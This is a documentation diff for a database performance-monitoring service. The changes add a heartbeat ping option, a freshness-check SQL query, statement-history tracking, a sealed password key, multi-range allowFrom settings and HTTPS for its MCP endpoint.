-Both modes print one warning: a Lite app, a deprecated Full Dashboard install or another Darling service that still monitors the server uses the same names and creates a missing session again (Lite on its next collection cycle, the Dashboard on its next collection run, Darling on its next connect to the server; the long query completions session only where that collector is turned on, and never by the Dashboard), so run this only once nothing else monitors it. A run that drops at least one session also prints one `NOTE:` line before that warning: capture of deadlocks and blocked processes on that server stops until this service reconnects to it, so remove the server next. The line names only the captures whose session was dropped (`long query completions` when that session went too). `--dry-run` and `--print-sql` do not print it.
+Both modes print one warning, before they list or drop anything: a Lite app, a deprecated Full Dashboard install or another Darling service that still monitors the server uses the same names and creates a missing session again (Lite on its next collection cycle, the Dashboard on its next collection run, Darling on its next connect to the server or, for the long query completions session, within an hour; the long query completions session only where that collector is turned on, and never by the Dashboard), so run this only once nothing else monitors it. A run that drops at least one session also prints one `NOTE:` line after the drops: capture of deadlocks and blocked processes on that server stops until this service reconnects to it, so remove the server next. The line names only the captures whose session was dropped (`long query completions` when that session went too). `--dry-run` and `--print-sql` do not print it.
 
 ---
 
@@ -1175,6 +1348,50 @@ The service is built to restart cleanly, any time:
 
 A monitored server that is down is retried every 60 seconds forever; a collector that errors is logged and retried at its next scheduled time; a mid-cycle connection-level failure forces a clean reconnect and re-probe. The loop never dies for one bad cycle.
 
+### Watching the service from outside
+
+If the service stops, nothing inside it can tell you. Two ways to have something outside the box notice.
+
+Option 1 is the `heartbeat` block. The service sends a GET to a URL you choose (a dead-man's-switch check such as Healthchecks.io or Uptime Kuma). Your check alerts when the pings stop. Add this to `darling.json`:
+
+```json
+"heartbeat": {
+  "url": "file:/etc/darling/heartbeat-url",
+  "intervalSeconds": 300
+}
+```
+
+The file holds one line, the check's full URL (for example `https://hc-ping.example/your-check-id`).
+
+- It is off unless `url` is set (an absent block, `"heartbeat": null` and an empty `url` all mean off). `intervalSeconds` defaults to 300 and must be between 60 and 3600. A bad value stops the service at start, like the rest of the config checks.
+- **The whole URL is a secret.** It carries the check's token, and anyone who holds it can send "up" pings that keep your check green while the service is down. Put it in a `file:/path` reference, with the file readable by the service account only, rather than writing it in `darling.json`. An `env:NAME` reference works too, but on Windows a service's environment is stored where other local users can read it, so prefer the file. These are the same two reference forms the other secrets take. A URL written straight into `darling.json` works, but it is plaintext in the config, readable by anyone who can read that file.
+- The start-up check looks only at the shape of a reference (a variable name, an absolute path) and does not read it, so commands such as `--validate-config` and `--diagnostics-bundle` work from a shell that cannot see the service's variable or file. The service reads the reference on every ping, so a rotated token file is picked up without a restart. A file larger than 8 KB is refused. A reference that cannot be read logs one fixed warning, then at most one per hour, and skips the ping.
+- A URL that carries a user name and password (`https://user:pass@host/`) is refused: the service would not send them. Put the token in the path.
+- `http://` is allowed (a check on your own network is common) but the token then crosses the network unencrypted on every ping, so the service logs one warning at start. Use `https://` where the check host offers it.
+- Because the file that a `file:` reference names decides where the service sends its GET, protect it as you protect `darling.json`.
+- The service never writes the URL to the log, which names only the scheme and host, and a diagnostics bundle aliases that host. The web Admin, the MCP tools and the triage page cannot read or edit it. Edit it in the file and restart.
+- The service pings only while it is collecting. Each interval it checks the newest `collection_log` time across enabled servers. It sends the ping when no server is enabled, or when the newest collection is no more than 15 minutes old and no more than 5 minutes ahead of the clock. It skips the ping when collection is older than that, when the newest time is further ahead of the clock than that (a clock jump or a stray row), when no enabled server has a collection row, or when the store cannot be read. The service still pings with no enabled servers, so a check on this heartbeat proves the process is up and the store is readable, not that any server is being monitored. So your check alerts when the process stops and also when it keeps running but no longer collects.
+- A ping waits at most 10 seconds, follows no redirects, and counts only a 2xx answer as success. A failed ping logs one warning, then at most one more per hour until a ping succeeds, and then one line saying it recovered. A failed ping never raises an alert and never slows collection.
+
+Option 2 is a check of your own. If your monitoring already runs checks on the host, use two. The first: the service process is running (the Windows service, the systemd unit or the container). The second: the newest `collection_log` time is within 15 minutes. Run this against the store. It returns `true` when collection is current:
+
+```sql
+SELECT coalesce(
+         (SELECT max(n.collection_time)
+          FROM config.config_monitored_servers c
+          CROSS JOIN LATERAL (
+              SELECT l.collection_time
+              FROM collect.collection_log l
+              WHERE l.server_id = c.server_id
+              ORDER BY l.collection_time DESC
+              LIMIT 1) n
+          WHERE c.is_enabled),
+         'epoch'::timestamp)
+       > (now() AT TIME ZONE 'UTC') - interval '15 minutes' AS collecting;
+```
+
+`collection_time` is stored in UTC, which is why the check compares it with `now() AT TIME ZONE 'UTC'`. The query reads one row per enabled server from the `(server_id, collection_time)` index. It returns `false` when no enabled server has a row, so treat a store with no enabled servers as a case for your own rule.
+
 ---
 
 ## Connect a Remote Viewer
@@ -1282,7 +1499,7 @@ It decrypts the `network.role` credential and prints a paste-ready connection st
 
 **"TimescaleDB setup failed — continuing in plain-PostgreSQL mode"** (warning) — the extension exists but conversion hit a problem. Everything still works (DELETE-based retention, plain tables), and nothing here waits for a restart any more. The *availability* half: the hourly store-maintenance tick re-probes the extension and logs **"TimescaleDB is available after all"** at Information when it comes back, which restores the store background-job health check (policy-job self-heal, job cadence, Retention Held) that the fallback had switched off (#3815). The *conversion* half: the same tick's store-object convergence pass re-runs every ensure the failed block had reached — so the hypertables, policies and aggregates it did not get to are built on the next pass rather than at the next start (#3817).
 
-**The web viewer or MCP tools are slow** — ask the store which statements it spends its time on: `get_store_query_stats` (MCP, or `/api/read/get_store_query_stats` on the web host) ranks the store's own SQL by server-side cost from `pg_stat_statements`, split by the role that ran each statement, with each role's share of the recorded time (#3899). On a **managed** or **compose** store each surface has its own login: `viewer` is the web viewer, remote read-only Darling Viewer seats and the service's custom-alert rule evaluation, `mcp` is the MCP tools, `admin` is the Darling Viewer on the service's machine, and `owner` is the service's collection, maintenance and alerting. A **bring-your-own** store runs its web dashboard and MCP server as the owner login unless `postgres.webConnectionString` / `postgres.mcpConnectionString` give them logins of their own ([#3914](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3914)), and then their statements rank under `owner` beside the service's (the answer says so); the statements themselves still name the query. The figures are cumulative since the counters were last reset and cover server-side execution only, so a slow page whose statements rank low is spending its time elsewhere (transfer, payload size, the client). Utility statements are not tracked, so the collectors' `COPY` ingest is not in them (`get_collector_cost` has that side). A single slow statement is also written to the store's own log: on a managed or compose store, and on a bring-your-own store whose roles `provision-roles.sql` created, `viewer` and `mcp` statements that run past a third of their `statement_timeout` (5 seconds at the default 15) are logged, bind parameters excluded, and surface in `get_store_log` under `slow_statement` with comments stripped and every literal masked. **The managed store loads `pg_stat_statements` by itself** (the conf's v13 block adds it to `shared_preload_libraries`, merged with anything you added there or in an included file, and turns `pg_stat_statements.track_utility` off so role DDL, which carries passwords, is never recorded); the preload takes effect on the store's next service-owned start, and every start logs a warning if a later edit or an `ALTER SYSTEM` override drops it. **On a store you run yourself**, follow step 1b of `tools/provision-roles.sql`: add `pg_stat_statements` to `shared_preload_libraries` and set `pg_stat_statements.track_utility = off` (both in `postgresql.conf`; with `ALTER SYSTEM`, one quoted literal per library, `'timescaledb', 'pg_stat_statements'`, because a single literal holding the list is stored as one library name and the server will not start), restart PostgreSQL, and run `CREATE EXTENSION pg_stat_statements;` as a superuser in the `darling` database. If the service's login is not a superuser, other roles' statement text reads `<insufficient privilege>`: granting it `pg_read_all_stats` shows that text but also lets the login read every session's query text on the cluster, and a bring-your-own store's web and MCP hosts run as it when they have no logins of their own, so leave it out on a shared cluster. Only normalized DML shows its text; a utility statement (recorded only while `track_utility` is on, with its literals as typed) and a statement that opens with a comment keep their timings and read as withheld. The service builds its reader functions at its next start, and then within the hour. Until then the tool answers `precondition` and names what is missing and how to fix it.
+**The web viewer or MCP tools are slow** — ask the store which statements it spends its time on: `get_store_query_stats` (MCP, or `/api/read/get_store_query_stats` on the web host) ranks the store's own SQL by server-side cost from `pg_stat_statements`, split by the role that ran each statement, with each role's share of the recorded time (#3899). On a **managed** or **compose** store each surface has its own login: `viewer` is the web viewer, remote read-only Darling Viewer seats and the service's custom-alert rule evaluation, `mcp` is the MCP tools, `admin` is the Darling Viewer on the service's machine, and `owner` is the service's collection, maintenance and alerting. A **bring-your-own** store runs its web dashboard and MCP server as the owner login unless `postgres.webConnectionString` / `postgres.mcpConnectionString` give them logins of their own ([#3914](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3914)), and then their statements rank under `owner` beside the service's (the answer says so); the statements themselves still name the query. The figures are cumulative since the counters were last reset and cover server-side execution only, so a slow page whose statements rank low is spending its time elsewhere (transfer, payload size, the client). Utility statements are not tracked, so the collectors' `COPY` ingest is not in them (`get_collector_cost` has that side). A single slow statement is also written to the store's own log: on a managed or compose store, and on a bring-your-own store whose roles `provision-roles.sql` created, `viewer` and `mcp` statements that run past a third of their `statement_timeout` (5 seconds at the default 15) are logged, bind parameters excluded, and surface in `get_store_log` under `slow_statement` with comments stripped and every literal masked. **The managed store loads `pg_stat_statements` by itself** (the conf's v13 block adds it to `shared_preload_libraries`, merged with anything you added there or in an included file, and turns `pg_stat_statements.track_utility` off so role DDL, which carries passwords, is never recorded); the preload takes effect on the store's next service-owned start, and every start logs a warning if a later edit or an `ALTER SYSTEM` override drops it. **On a store you run yourself**, follow step 1b of `tools/provision-roles.sql`: add `pg_stat_statements` to `shared_preload_libraries` and set `pg_stat_statements.track_utility = off` (both in `postgresql.conf`; with `ALTER SYSTEM`, one quoted literal per library, `'timescaledb', 'pg_stat_statements'`, because a single literal holding the list is stored as one library name and the server will not start), restart PostgreSQL, and run `CREATE EXTENSION pg_stat_statements;` as a superuser in the `darling` database. If the service's login is not a superuser, other roles' statement text reads `<insufficient privilege>`: granting it `pg_read_all_stats` shows that text but also lets the login read every session's query text on the cluster, and a bring-your-own store's web and MCP hosts run as it when they have no logins of their own, so leave it out on a shared cluster. Only normalized DML shows its text; a utility statement (recorded only while `track_utility` is on, with its literals as typed) and a statement that opens with a comment keep their timings and read as withheld. The service builds its reader functions at its next start, and then within the hour. Until then the tool answers `precondition` and names what is missing and how to fix it. The store also keeps its own history of these figures: once an hour the service records each statement's change in calls, time, rows and blocks since the last snapshot into `collect.store_statement_history`, the 100 statements that spent the most time, kept 90 days (#5097). Deltas survive a service restart, a store restart, a `pg_stat_statements_reset()` and the nightly upgrade, and each snapshot's `collect.store_statement_captures` row says how many statements were active, how many entries the extension evicted, and whether the hour was a fresh baseline. `get_store_query_history` (MCP, or `/api/read/get_store_query_history` on the web host) reads it: without `query_id` the top statements over `hours_back` by time spent, with the mean of the newest quarter of their hours against the rest; with `query_id` that statement's hourly series, oldest first, with the first-seen, entry-restarted and reset flags.
 
 **"Store object convergence: 14 steps, 0 changed (none), 0 failed (none), 214 ms"** (information, hourly and once at startup with an `at startup` prefix) — the convergence pass's own receipt (#3817). Every pass writes one, converged or not, for the reason the job-health line does: an absent line used to mean either *every store object is in place* or *the pass never ran and nobody noticed*. **steps** is how many ensures ran; **changed** names the ones that actually altered something (a converged store changes nothing, every hour, and says so); **failed** names any ensure that threw — each of which also logs its own warning, and each of which is retried on the next pass, which is the whole point of the cadence. A store that has just gained a collector or an aggregate shows it here once and then goes quiet. The elapsed is the pass's own clock including connection acquisition: on a converged store it is well under a second, and a pass that takes minutes is either building something for the first time or is on a store too slow to answer its own catalog — the per-object lines above it say which.
 
@@ -1396,6 +1613,14 @@ Table names are unchanged — only their schema moved — and the shared SQL kee
 
 **The log-hash key** ([#4004](https://github.com/erikdarlingdata/PerformanceMonitor/issues/4004)). `pg_log_events` stores two identities per event: `raw_line_hash`, which every read dedupes on, and `statement_fingerprint`, which groups one statement shape. Both are HMAC-SHA-256 under a 32-byte key the service generates and keeps **outside** the store, so a reader of the store cannot test guesses at the literals a log line hid (an unkeyed hash let #3996's review recover a four-digit PIN in 6 ms). Neither hash is returned by any tool or viewer. The key is loaded once at service start and lives beside each distribution's other secrets: `log-hash-key.dpapi` next to `pg-credential.dpapi` on a managed store (DPAPI, the ACL above); `log-hash-key` in the `darling-credentials` volume on compose (0600, under the same directory and file checks as the role passwords); and `darling-keys/log-hash-key` (`.dpapi` on Windows) beside `darling.json` on bring-your-own. It is generated when no file exists. The service does not replace an existing key, because a new one gives every stored log event a new identity: a key file it cannot trust or read makes it refuse to collect log events, with the file and the reason in the service log, until you fix the file's access or delete it (the way to rotate). The one exception is a key directory other users could write to, such as a bind-mounted credentials directory left at `0777`: any file in it could have been planted, so the moment the service finds it open (whichever start, and whichever part of the service looks first) it sets it owner-only, removes the key and the role passwords there, and logs an error; a new key and new passwords are generated, and the first `pg_log_events` run after that says so on its Collection Log row. A directory with something in it at one of those names is left alone (the service never deletes someone else's tree, and nothing reads a directory as a credential), but everything else is still removed and the directory stays owner-only; that start uses nothing in the directory, and its error names each path to remove before you restart. A directory that keeps being opened (a Kubernetes `fsGroup` re-applied on every mount) rotates the key on every start, so keep it owner-only. Run one service per credentials volume (on Kubernetes, one replica with `strategy: Recreate`, never a rolling update): the check is not locked across processes, so a second service starting beside the first could read the directory between the first one's chmod and its removal. Keep it with the store's backups of its other credentials. Rows stored before #4004 keep their unkeyed hashes until the 30-day retention drops them, so the first cycle after the upgrade stores each entry still in the tail's overlap window once more, and a statement shape's fingerprint changes once.
 
+**The password key** ([#5366](https://github.com/erikdarlingdata/PerformanceMonitor/issues/5366)). A SQL login password saved in the store is sealed to a key pair the service owns. This works on every platform, so you can save a password on Linux and in a container as well as on Windows. The store publishes the public half, and every place that saves a password seals it to that half: the Viewer, the web dashboard, the MCP tools and `--add-server`. Only the service holds the private half, so only the service can open a saved password. A sealed password opens only for the connection it was saved with. If you change a server's host, port, database, login or encryption settings, enter its password again.
+
+- **Where the key is kept.** In the compose deployment it is the `password-key` file in the `darling-credentials` volume, with the other service credentials. On a Linux or Windows install where you bring your own PostgreSQL it is in a `darling-keys` directory beside `darling.json`. With the managed PostgreSQL on Windows it is `password-key.dpapi`, beside the other credential files. It is never in the store or its volume.
+- **First start and the fingerprint.** The first start makes the key. Each start logs a `Password key` line with the key's fingerprint, as four groups of four letters and digits. The first time a Viewer saves a password to a store it shows the same fingerprint. Check that the two match. If the key later changes, the Viewer stops saving passwords. It asks you to compare the new fingerprint with the service log, then choose Trust the new key.
+- **Backups.** Back up the credentials volume (or the `darling-keys` directory) after the first start and again after every reset. Keep that backup apart from the store's backups. A store restored without its key cannot open its saved passwords, and the service reports the key as missing. On Windows the key is protected with DPAPI for the machine, so its backup restores only on the same machine.
+- **Resetting the key.** [`--reset-password-key`](#make-a-new-password-key---reset-password-key) retires the key at the next start and makes a new one. Every saved password must then be entered again. If the key may have been copied, reset it. Then change the SQL logins' passwords. Delete the retired key file (`password-key.retired`, or `password-key.dpapi.retired` on Windows) once you no longer need it.
+- **Updating and rolling back.** Update every Viewer that saves passwords to the store. An older Viewer does not know the key and saves passwords in the old format, which the service does not use for a new row. Passwords saved on Windows before the upgrade keep working on the same machine. If you roll the service back to an older version, it cannot open the passwords saved since the upgrade. Enter them again.
+
 The principal model assumes the **single-operator VM** this edition targets: `INTERACTIVE` == the operator, so the admin/viewer credentials are readable by the Viewer with zero configuration, while non-interactive local code (other services, sandboxed/SSRF socket primitives, scheduled tasks) and the superuser credential are excluded outright. On a shared machine where untrusted users log on interactively, tighten those two files to the specific operator account by hand. The service also refuses to trust a credential file that isn't owned by SYSTEM/Administrators/itself (closing a pre-plant attack), and regenerates an untrusted role credential.
 
 **A read-only (`viewer`) Viewer degrades gracefully.** It probes its own privileges on connect (`has_table_privilege`), so the mute-rule Add/Edit/Toggle/Delete/Purge buttons and the alert Dismiss / Dismiss All buttons are hidden or disabled, and any write that still slips through returns a clear "read-only connection" message instead of an error.
@@ -1430,7 +1655,9 @@ The fastest path is the interactive wizard — run it on the **service host**:
 PerformanceMonitor.Darling.Service.exe --configure-network
 ```
 
-It shows the current exposure (read from the service's own resolvers), then walks you through the **store**, **MCP**, the **web dashboard**, any comma combination (e.g. `1,3`), or all three at once (or a **disable** that removes all exposure). Every answer is validated **by delegation to the exact checks the running service fail-closes on**, so the wizard can never write a config the service would refuse — it re-prompts with the resolver's own reason. It generates the MCP bearer / web access tokens for you (DPAPI-protected; each plaintext is printed once, so save it then), edits `darling.json` **in place preserving every comment** behind a timestamped `darling.json.bak-<timestamp>` backup, replaces only the keys it asks about when a `network` block already exists (every other key in that block, such as the web block's `tls` and `oidc`, is kept as written and named on a `Kept ... from the existing darling.json.` line), prints the scoped firewall command(s), the `--export-viewer-config` handoff, and the web dashboard's browser login URL (`http://<listen>:<port>/?token=...`), and offers to restart the service to apply. `install-darling.ps1 -Network` runs it automatically right after the install reaches Running. The manual field reference below documents exactly what it writes.
+It shows the current exposure (read from the service's own resolvers), then walks you through the **store**, **MCP**, the **web dashboard**, any comma combination (e.g. `1,3`), or all three at once (or a **disable** that removes all exposure). Every answer is validated **by delegation to the exact checks the running service fail-closes on**, so the wizard can never write a config the service would refuse — it re-prompts with the resolver's own reason. It generates the MCP bearer / web access tokens for you (DPAPI-protected; each plaintext is printed once, so save it then), edits `darling.json` **in place preserving every comment** behind a timestamped `darling.json.bak-<timestamp>` backup, replaces only the keys it asks about when a `network` block already exists (every other key in that block, such as the `tls` and `hostName` of the MCP block and the `tls` and `oidc` of the web block, is kept as written and named on a `Kept ... from the existing darling.json.` line), prints the scoped firewall command(s), the `--export-viewer-config` handoff, and the web dashboard's browser login URL (`http://<listen>:<port>/?token=...`, or `https://` when `web.network.tls` is set), and offers to restart the service to apply. `install-darling.ps1 -Network` runs it automatically right after the install reaches Running. The manual field reference below documents exactly what it writes.
+
+For the MCP and web endpoints, the `allowFrom` prompt takes one range or a comma list. The wizard writes the list as one comma string. When an MCP or web endpoint is exposed, the summary adds a `TLS:` line under it. The line says whether HTTPS is on, off, or misconfigured, and it names the `mcp.network.tls` or `web.network.tls` setting. The wizard does not ask for a certificate. The `tls` blocks are file settings, and a restart applies them.
 
 ### Firewall rules (`--configure-firewall`)
 
@@ -1446,7 +1673,7 @@ The **port** each rule is named for comes from the control plane, not from the f
 
 Because the port is part of the rule's **name**, changing a port does not update a rule — it makes a different one and leaves the old one standing as an inbound allow on a port nothing serves. Every removal here therefore sweeps `PerformanceMonitor Darling <surface> (port *)` rather than one exact name, so the stale rule goes with it. The wildcard is derived from a rule name this product built; a name that does not parse degrades to the exact-name removal, so a sweep can never reach a rule that is not ours.
 
-"Really exposed" is decided by the same resolvers the running service fail-closes on, not by reading `listen` at face value. A `network` block the service would degrade to loopback — an unparseable `listen`, a missing or invalid `allowFrom`, an address family that disagrees, a missing token, BYO mode — gets **no open port**, and the verb tells you why.
+"Really exposed" is decided by the same resolvers the running service fail-closes on, not by reading `listen` at face value. A `network` block the service would degrade to loopback — an unparseable `listen`, a missing `allowFrom`, an `allowFrom` list with one invalid entry, an address family that disagrees, a missing token, BYO mode — gets **no open port**, and the verb tells you why.
 
 The running service never touches these rules. It **checks** them on start and logs what it finds: nothing at all for the normal loopback-only install, one INFO line when an exposed endpoint's rule is present, and one WARN naming the exact command when an exposed endpoint's rule is missing or when a loopback-only endpoint still has a stale rule open. It states each verdict once, not once per retry.
 
@@ -1468,11 +1695,11 @@ Each flips only its endpoint's **live store flag** with a targeted `config_servi
 Enabling an endpoint is **not** the same as reaching it, and both common failures leave the store flag reading `true`, so "it says enabled" is not proof. After `--enable-mcp` / `--enable-web`, verify on the **service host**:
 
 1. **The listener is on the LAN address, not loopback.** `Get-NetTCPConnection -State Listen | Where-Object LocalPort -eq 5152` (or `5153` for web) must show the box's LAN IP, e.g. `10.0.0.5:5152` — **not** only `::1` / `127.0.0.1`. *Enabled but still loopback-bound* is the single most common failure: the store flag is on, but the service loaded `darling.json` **before** the `network` block existed. The block is read **once at service start** — the enable toggle stops/starts the endpoint with the already-loaded config and does **not** reload the file. **Restart the service** (`Restart-Service 'PerformanceMonitor Darling'`) so it re-reads the block, then re-check the listener; after the restart run `--configure-firewall` **elevated** if the firewall rule is missing (the service account cannot create it, so the service only tells you it is missing).
-2. **The scoped firewall rule exists and covers the client.** `Get-NetFirewallRule -DisplayName 'PerformanceMonitor Darling MCP (port 5152)'` (or `... Web (port 5153)`) should be `Enabled=True, Action=Allow`, scoped to the `network.allowFrom` CIDR. If it is absent, the service's own start-up log already says so and names the command; `--configure-firewall` elevated is the one-step fix. Reading rules needs no elevation, so this check works from any shell.
+2. **The scoped firewall rule exists and covers the client.** `Get-NetFirewallRule -DisplayName 'PerformanceMonitor Darling MCP (port 5152)'` (or `... Web (port 5153)`) should be `Enabled=True, Action=Allow`, scoped to the `network.allowFrom` ranges. If it is absent, the service's own start-up log already says so and names the command; `--configure-firewall` elevated is the one-step fix. After you edit `allowFrom`, run `--configure-firewall` again. The service checks that the rule exists. It does not check which ranges the rule covers. Reading rules needs no elevation, so this check works from any shell.
 
 Then from the **client** host:
 
-3. **Connect to the box's LAN IP, never `localhost`.** Use `http://<box-LAN-IP>:5152/`. `localhost` / `127.0.0.1` only resolves *on the box itself*, so an off-box MCP client pointed at localhost fails silently — this is the number-one "MCP won't connect" cause. Send `Authorization: Bearer <token>` (the `network.token`), and do a **fresh** `initialize` + `tools/list` rather than trusting a cached tool list from a previous version.
+3. **Connect to the box's LAN IP, never `localhost`.** Use `http://<box-LAN-IP>:5152/`, or `https://<hostName>:5152/` when `mcp.network.tls` is set (the name must be the one on the certificate). `localhost` / `127.0.0.1` only resolves *on the box itself*, so an off-box MCP client pointed at localhost fails silently — this is the number-one "MCP won't connect" cause. Send `Authorization: Bearer <token>` (the `network.token`), and do a **fresh** `initialize` + `tools/list` rather than trusting a cached tool list from a previous version.
 
 **After a reinstall:** the installer replaces binaries but does **not** touch `darling.json` (the zip ships only `darling.sample.json`) or the store, so the `network` block and both live flags survive the upgrade — and the reinstall restarts the service, which re-reads the block. If MCP stops connecting afterward it is almost always failure 3 (the client pointed at `localhost`) or a missing firewall rule, **not** lost config: run `--configure-firewall` **elevated** to re-open the rule if check 2 comes up empty (the installer already does this, so an in-place upgrade normally leaves the rules correct). A stale loopback bind is unlikely after a restart unless the block itself is invalid, in which case the endpoint fail-closes to loopback and logs a critical line saying why — fix the block and restart again. A full `--configure-network` re-run is only needed if the `network` block itself is gone.
 
@@ -1494,6 +1721,7 @@ Add a `network` block to `postgres` (managed mode):
 
 On every start the service reconciles this against the live cluster: it adds the bind IP to `listen_addresses`, generates a self-signed TLS certificate (`server.crt` / `server.key` beside the data directory, with both an IP SAN for `listen` and a DNS SAN for the machine hostname), writes a marked `hostssl darling <role> <allowFrom> scram-sha-256` rule into `pg_hba.conf` for each admitted role and reloads, and **checks** (never creates — see [Firewall rules](#firewall-rules---configure-firewall)) that the store's scoped firewall rule matches.
 
+- **`allowFrom`**: one range in CIDR form, with each IPv4 address written as four plain decimal numbers (no leading zeros) and no IPv6 zone index. The store takes ONE range and never a list, because the value feeds the `pg_hba.conf` rule that the service reconciles. Host bits are masked, so `192.168.1.5/24` means `192.168.1.0/24`.
 - **`role`** — the pg_hba login role(s) the rule names: `"viewer"` (default, **read-only** — the secure default, covering a laptop reading every dashboard, chart, and finding), `"admin"` (full remote **writes**; the service logs a warning because `admin` holds the `config_command` / `config_monitored_servers` / `config_notification` service-credential pivot), or **both at once** — `"admin,viewer"`, separated by a comma, a `+`, or whitespace. Both writes one `hostssl` line per role inside the managed block, so an `admin` seat and any number of read-only ones reach the same store. Never the superuser, and never `all`: every generated line still names exactly one role and one CIDR, so narrowing `allowFrom` later tightens all of them together — unlike a second line hand-added outside the markers, which the reconciler preserves verbatim and therefore leaves on the old, wider CIDR. A value naming anything else is rejected **whole**, including a typo in one half of a pair: the store degrades to loopback with the reason logged rather than opening with the half that parsed. Absent or blank still means `viewer` alone. This is **distinct from `postgres.connectAs`** (the *local* VM viewer's loopback role, default `admin`): `network.role` is the *remote* role and defaults to `viewer`, so the two have opposite defaults — the local seat is writable, the remote seat is read-only, unless you say otherwise.
 - **TLS is verify-full, not `require`.** Because Darling generates the cert, the client can pin it, so the connection string below uses `SSL Mode=VerifyFull` — which actually defends against an on-path MITM (`require` verifies nothing). The store's network pg_hba line is `hostssl`, so a non-TLS network client is refused.
 - **The firewall is defense-in-depth, not the boundary** — pg_hba + TLS are. `--configure-firewall` (elevated) creates the store's scoped rule for you along with the other two; the equivalent by hand is:
@@ -1520,7 +1748,7 @@ Add a `network` block to `mcp` (managed mode, or the compose container; `mcp.ena
 }
 ```
 
-When `listen` is a network address **and** a token is present **and** `allowFrom` is a valid CIDR, the MCP host binds that interface behind two gates: a **required bearer token** (checked first, constant-time, no loopback exemption) and an **in-app CIDR check** on the remote address (loopback is always allowed, so local clients keep working). Any missing precondition keeps MCP loopback-only. Prefer `encryptedToken` (a DPAPI blob from `--encrypt-password`); a plaintext `token` works for dev but is warned. Set the same scoped firewall rule for the MCP port:
+When `listen` is a network address **and** a token is present **and** `allowFrom` is a valid CIDR list, the MCP host binds that interface behind two gates: an **in-app CIDR check** on the remote address (checked first; loopback is always allowed, so local clients keep working) and a **required bearer token** (constant-time, no loopback exemption). An address outside `allowFrom` gets a 403 whatever token it sends. Any missing precondition keeps MCP loopback-only. A token configured with no network `listen` also keeps MCP loopback-only and gates the loopback listener: every local client sends `Authorization: Bearer <token>`, and a token that cannot be decrypted stops the MCP server from starting rather than serving it open. With no token configured, loopback MCP needs none. A POST to MCP whose Content-Type is not `application/json` is refused with 415. Prefer `encryptedToken` (a DPAPI blob from `--encrypt-password`); a plaintext `token` works for dev but is warned. Set the same scoped firewall rule for the MCP port:
 
 **Lost the token?** `--print-mcp-token` (elevated) reprints it from `darling.json` — `--print-web-token` does the same for the dashboard. Both write the live token to **STDOUT** with every warning on STDERR, so `... --print-mcp-token | clip` captures the value and still shows the warning. This discloses nothing new: the blob is DPAPI at `LocalMachine` scope with an entropy constant published in this repository, and `darling.json` grants `INTERACTIVE` read by design (see [Security & Least-Privilege Roles](#security--least-privilege-roles)), so anyone who can log on to the host interactively could already decrypt it. The elevation requirement makes reprinting a deliberate act; the token's actual protection is the file's ACL. If the token has **leaked** rather than been mislaid, reprinting is not the fix — `--configure-network` generates a new one, and every client configured against the old one must be updated.
 
@@ -1528,13 +1756,43 @@ When `listen` is a network address **and** a token is present **and** `allowFrom
 New-NetFirewallRule -DisplayName "Darling MCP" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 5152 -RemoteAddress 192.168.1.0/24
 ```
 
+`allowFrom` takes one range or a list. Write a list as one string with commas, for example `"10.8.0.0/16,192.168.1.0/24"`. Each entry must be in CIDR form (use `/32` for one address), with each IPv4 address written as four plain decimal numbers (no leading zeros) and no IPv6 zone index, and must match the address family of `listen`. A `::` listen takes IPv6 entries only. IPv4 clients can still reach a `::` listener, but the service never admits them there, apart from loopback, which is always allowed. For IPv4 clients, listen on `0.0.0.0` or a specific IPv4 address. The service masks host bits, so `192.168.1.5/24` means `192.168.1.0/24`. One bad entry keeps MCP loopback-only.
+
+The wizard accepts a list and writes one comma string. `--configure-firewall` opens the port for exactly those ranges. `web.network.allowFrom` follows the same rules. `postgres.network.allowFrom` still takes one range.
+
+A JSON array of strings also loads, but only on this version or later. An older version refuses to start on an array. It reads a comma string as an invalid range, so that listener stays loopback-only. For that reason the wizard never writes an array.
+
+MCP can serve HTTPS itself ([#5288](https://github.com/erikdarlingdata/PerformanceMonitor/issues/5288)). Without it, the bearer token and every tool result cross the segment in clear text. An exposed MCP server with no `tls` block logs a warning about that at every start. The `tls` block has the same settings as `web.network.tls`. Add it to `mcp.network`:
+
+```jsonc
+"network": {
+  "listen": "192.168.1.205",
+  "allowFrom": "192.168.1.0/24",
+  "encryptedToken": "<output of --encrypt-password>",
+  "hostName": "darling.example.com",
+  "tls": {
+    "pfxPath": "C:\\ProgramData\\PerformanceMonitorDarling\\certs\\mcp.pfx",
+    "encryptedPfxPassword": "<output of --encrypt-password>"
+    // ...or a PEM pair instead: "certPath" + "keyPath"
+  }
+}
+```
+
+Give one form, a PKCS#12 bundle or a PEM pair, and never both. The password can sit in `encryptedPfxPassword` (DPAPI), in `pfxPassword` as a `file:` or `env:` reference, or nowhere if the bundle has no password. With a specific `listen` IP, only the network listener serves HTTPS. The two loopback listeners stay plain HTTP, and they still require the token. With `0.0.0.0` or `::`, the one listener serves HTTPS to everyone, loopback included. There is no redirect from HTTP and no second port, so a plain-HTTP client fails the handshake.
+
+The service reads the certificate file when MCP starts. After you renew the certificate, restart the service. The product consumes a certificate and does not manage a PKI: there is no ACME and no self-signed fallback. Loading fails closed. A certificate that is missing, unreadable, ambiguous, expired, or not yet valid keeps MCP loopback-only and logs a Critical line. It never falls back to plain HTTP. The token is still required on that loopback listener. Only SYSTEM, Administrators and the service account should be able to read the key file (the PEM key, or a PKCS#12 bundle), for `web.network.tls` and `mcp.network.tls` alike, and on Windows the service logs a warning at start that names the file when ordinary users can read it.
+
+The self-alert `MCP TLS Certificate Expiring` warns for the last 30 days before the certificate expires, and `MCP TLS Certificate Renewed` resolves it. It is separate from `Web TLS Certificate Expiring`, so one certificate shared by both endpoints raises two alerts.
+
+Set `mcp.network.hostName` to the DNS name that clients use, for example `darling.example.com`. Write the name only, with no scheme, port, path, or wildcard. While MCP is exposed on the LAN, the `Host` header must name the listen address, `localhost`, or this name, plus loopback addresses, and any IP address when `listen` is `0.0.0.0` or `::`. The name is admitted only while MCP is exposed. The service refuses every other name with a 400. A value that is not a valid DNS name is ignored, with one warning at start. Clients then connect to `https://darling.example.com:5152/`, and the certificate must name that host.
+
